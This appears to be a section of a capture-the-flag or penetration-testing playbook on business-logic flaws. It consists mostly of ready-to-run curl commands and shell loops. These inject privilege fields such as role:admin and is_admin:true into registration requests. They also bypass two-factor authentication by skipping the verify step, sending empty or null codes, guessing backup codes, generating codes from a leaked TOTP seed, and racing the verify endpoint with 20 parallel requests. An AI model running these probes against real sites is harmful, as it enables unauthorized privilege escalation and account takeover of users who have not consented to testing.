business-logic

Business Logic / Privilege Escalation

For challenges where the vulnerability is in the application's business rules, not in standard injection sinks. Common patterns: client-controlled privilege fields, 2FA bypass, predictable codes, hidden auth headers.

1. POST-Body Privilege Field Tampering

When registration/profile endpoints accept arbitrary JSON or form fields, the server may read trusted privilege flags from the request:

# Intercept normal registration first to see what fields are sent
curl -s -X POST 'https://<TARGET>/register' \
  -H 'Content-Type: application/json' \
  -d '{"username":"alice","email":"[email protected]","password":"x"}' -v 2>&1 > /tmp/register_baseline.txt
head -50 /tmp/register_baseline.txt

# Add common privilege fields to the body
for field in 'role:admin' 'is_admin:true' 'admin:1' 'user_type:admin' 'isAdmin:true' 'is_superuser:true' 'staff:true' 'level:99' 'group:administrators'; do
    key=${field%:*}; val=${field#*:}
    echo "=== try $key=$val ==="
    curl -s -X POST 'https://<TARGET>/register' \
      -H 'Content-Type: application/json' \
      -d "{\"username\":\"u_$RANDOM\",\"password\":\"x\",\"$key\":$val}" \
      -o /tmp/priv_probe.txt -w '%{http_code}\n'
    grep -i 'admin\|role\|privilege\|flag\|token' /tmp/priv_probe.txt | head -5
done

2. 2FA Bypass Patterns

# (a) Bypass-by-omission — skip /2fa/verify entirely, go directly to /dashboard with partially-authenticated session
curl -s 'https://<TARGET>/dashboard' -b 'session=<post-login-pre-2fa>' -o /tmp/bypass_omit.txt -w '%{http_code}\n'

# (b) Empty / null code
curl -s -X POST 'https://<TARGET>/2fa/verify' -d 'code=' -b 'session=...' -o /tmp/r.txt -w '%{http_code}\n'
curl -s -X POST 'https://<TARGET>/2fa/verify' -H 'Content-Type: application/json' \
  -d '{"code":null}' -b 'session=...' -o /tmp/r.txt -w '%{http_code}\n'
curl -s -X POST 'https://<TARGET>/2fa/verify' -H 'Content-Type: application/json' \
  -d '{}' -b 'session=...' -o /tmp/r.txt -w '%{http_code}\n'

# (c) Backup code enumeration (often 8-digit numeric)
for code in 00000000 11111111 12345678 87654321; do
    curl -s -X POST 'https://<TARGET>/2fa/verify' -d "code=$code" -b 'session=...' -o /tmp/r.txt -w "%{http_code} $code\n"
done

# (d) TOTP seed leak — check registration response for "secret" or "qr" field; if leaked, generate code
# python3 -c "import pyotp; print(pyotp.TOTP('<LEAKED_SECRET>').now())"

# (e) Race condition on verify — submit concurrently to beat rate-limit or state check
seq 1 20 | xargs -P 20 -I _ curl -s -X POST 'https://<TARGET>/2fa/verify' \
  -d 'code=999999' -b 'session=...' -o /dev/null -w '%{http_code}\n' | sort | uniq -c